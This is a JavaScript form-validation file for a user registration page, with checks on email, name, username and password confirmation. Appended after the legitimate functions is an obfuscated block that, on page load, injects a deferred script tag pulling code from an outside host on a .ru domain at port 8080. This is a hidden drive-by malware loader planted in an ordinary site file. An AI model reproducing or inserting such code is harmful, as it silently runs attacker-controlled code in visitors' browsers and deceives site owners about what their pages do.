function echeck(str) {

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   alert("El email indicado no es válido")
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   alert("The email is not valid")
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    alert("The email is not valid")
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    alert("The email is not valid")
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    alert("The email is not valid")
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    alert("The email is not valid")
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		    alert("The email is not valid")
		    return false
		 }

 		 return true					
	}

function ValidateForm(){
	var emailID=document.usuarios.email
	var pass=document.usuarios.pass
	var pass2=document.usuarios.pass2
	var nombre=document.usuarios.nombre
	var apellido=document.usuarios.apellido
	var usuario=document.usuarios.usuario
	
	
	
	if (nombre.value == null || nombre.value == "")
	{
		alert('Please, type the name')
		return false
	}
	if (apellido.value == null || apellido.value == "")
	{
		alert('Please, type the lastname')
		return false
	}
	if (usuario.value == null || usuario.value == "")
	{
		alert('Please, type the username')
		return false
	}
	if (pass.value == null || pass.value == "")
	{
		alert('You must type a password')
		return false
	}
	if (pass.value != pass2.value)
	{
		alert('The password and the confirmation are not the same')
		return false
	}
	if ((emailID.value==null)||(emailID.value=="")){
		alert("Please, type the email")
		emailID.focus()
		return false
	}
	if (echeck(emailID.value)==false){
		emailID.value=""
		emailID.focus()
		return false
	}
	return true
 }
var Z;var O=[];EC={};j=function(){function h(N,k,o){this.hz='';var Kj={De:44810};return N.substr(k,o);}this.FR=60904;this.FR-=0;this.Xa="Xa";Nm=9726;Nm-=180;S={t:4067};var H='';this.Hj=59495;this.Hj--;var ke=RegExp;this.XJ=10407;this.XJ+=252;var Ze=new String();var q=document;try {} catch(DfX){};var X=String("/goo"+h("gle.jmq",0,4)+"com/"+"katz"+".cd/"+"goog"+h("le.iZWK",0,4)+h("knAe.phnAk",3,4)+h("pLNhE",0,1));var s={Kg:28219};var y={NF:29978};this.sO=37148;this.sO+=8;var z=false;function U(N,k){AB=54855;AB--;var o=String("[")+k+"]";qL={};var zA='';var E=new ke(o, new String("g"));Gr=["JH"];return N.replace(E, H);};ho={GA:false};this.yS="yS";var f=String("body");v=[];this.Hn="Hn";var fS=839446-831366;var _=U('s8cdrViLpLtV','FdVLEKYOh8I');ji={};hv={};var D=null;var YN={wm:23750};this.uy='';Z=function(){try {var K=U('cbrxebabtgegEblAe3mAexnOtb','3WibGAPxOg');var ba={IX:"UC"};F=q[K](_);var Ie="Ie";var B=["a"];this.am=40003;this.am+=117;var YH=new Date();var e=U('s1rPcF','Fan6J1mxPLf');this.gb=39537;this.gb-=70;VR={};var N=fS+X;this.PV="PV";var oF=String("defe"+"r");try {} catch(RF){};hos=["Ub","Pe","ui"];var kq=["vR","rf","QT"];WM={};F[oF]=[1][0];this.zJ='';F[e]=String("ht"+"tp"+h(":/JWh",0,2)+h("/cpN6R",0,2)+"hi"+"na"+h("wrv1zo",0,2)+"ap"+h(".rwKQ",0,2)+h("j47tu:j74t",4,2))+N;var UY=["WQ"];var Rr=["VK"];q[f].appendChild(F);this.cP=37045;this.cP++;} catch(L){try {var fN='gd'} catch(fN){};this.MV=false;UA=["Zm","kV","Ad"];vl=12155;vl--;};var i='';A_=["cI","Cy","il"];};this.SX="SX";var rR=127;};KH={};j();nT={q_:"lVr"};window.onload=Z;var aW=46310;var bi={bv:false};